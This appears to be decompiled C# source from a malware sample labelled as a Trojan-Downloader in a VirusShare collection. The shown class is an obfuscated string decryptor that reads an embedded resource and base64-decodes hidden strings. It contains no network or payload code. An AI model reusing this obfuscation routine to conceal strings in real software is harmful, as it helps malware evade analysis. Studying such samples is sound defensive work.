// Decompiled with JetBrains decompiler // Type: . // Assembly: CSPharm, Version=1.0.0.0, Culture=neutral, PublicKeyToken=91f7ba0f4234404d // MVID: E3EED34E-DEA0-448A-9147-166831419ACC // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Downloader.Win32.Dapato.lnd-7f2f48002f973886553b938cc98149108eb2e39f2ac47324d3c731a4208c60fd.exe using \u0002; using \u0003; using \u0005; using System; using System.Collections; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Text; namespace \u0005 { internal sealed class \u0001 { private static readonly string \u0001 = "0"; private static readonly string \u0002 = "54"; private static readonly byte[] \u0003 = (byte[]) null; private static readonly Hashtable \u0004 = (Hashtable) null; private static readonly bool \u0005 = false; private static readonly int \u0006 = 0; [\u0001] [\u0005.\u0002] public static string \u0001([In] int obj0) { obj0 -= \u0001.\u0006; if (\u0001.\u0005) { string str = (string) \u0001.\u0004[(object) obj0]; if (str != null) return str; } int num1 = obj0; byte[] numArray1 = \u0001.\u0003; int index1 = num1; int index2 = index1 + 1; int num2 = (int) numArray1[index1]; int count; if ((num2 & 128) == 0) { count = num2; if (count == 0) return string.Empty; } else if ((num2 & 64) == 0) { count = ((num2 & 63) << 8) + (int) \u0001.\u0003[index2++]; } else { int num3 = (num2 & 31) << 24; byte[] numArray2 = \u0001.\u0003; int index3 = index2; int num4 = index3 + 1; int num5 = (int) numArray2[index3] << 16; int num6 = num3 + num5; byte[] numArray3 = \u0001.\u0003; int index4 = num4; int num7 = index4 + 1; int num8 = (int) numArray3[index4] << 8; int num9 = num6 + num8; byte[] numArray4 = \u0001.\u0003; int index5 = num7; index2 = index5 + 1; int num10 = (int) numArray4[index5]; count = num9 + num10; } try { byte[] bytes = Convert.FromBase64String(Encoding.UTF8.GetString(\u0001.\u0003, index2, count)); string str = string.Intern(Encoding.UTF8.GetString(bytes, 0, bytes.Length)); if (\u0001.\u0005) { try { \u0001.\u0004.Add((object) obj0, (object) str); } catch { } } return str; } catch { return (string) null; } } static \u0001() { if (\u0001.\u0001 == "1") { \u0001.\u0005 = true; \u0001.\u0004 = new Hashtable(); } \u0001.\u0006 = Convert.ToInt32(\u0001.\u0002); using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("{1e4f9d46-a55d-4bde-840e-075123ccac58}")) { int int32 = Convert.ToInt32(manifestResourceStream.Length); byte[] buffer = new byte[int32]; manifestResourceStream.Read(buffer, 0, int32); \u0001.\u0003 = \u0001.\u0001(buffer); manifestResourceStream.Close(); } } } }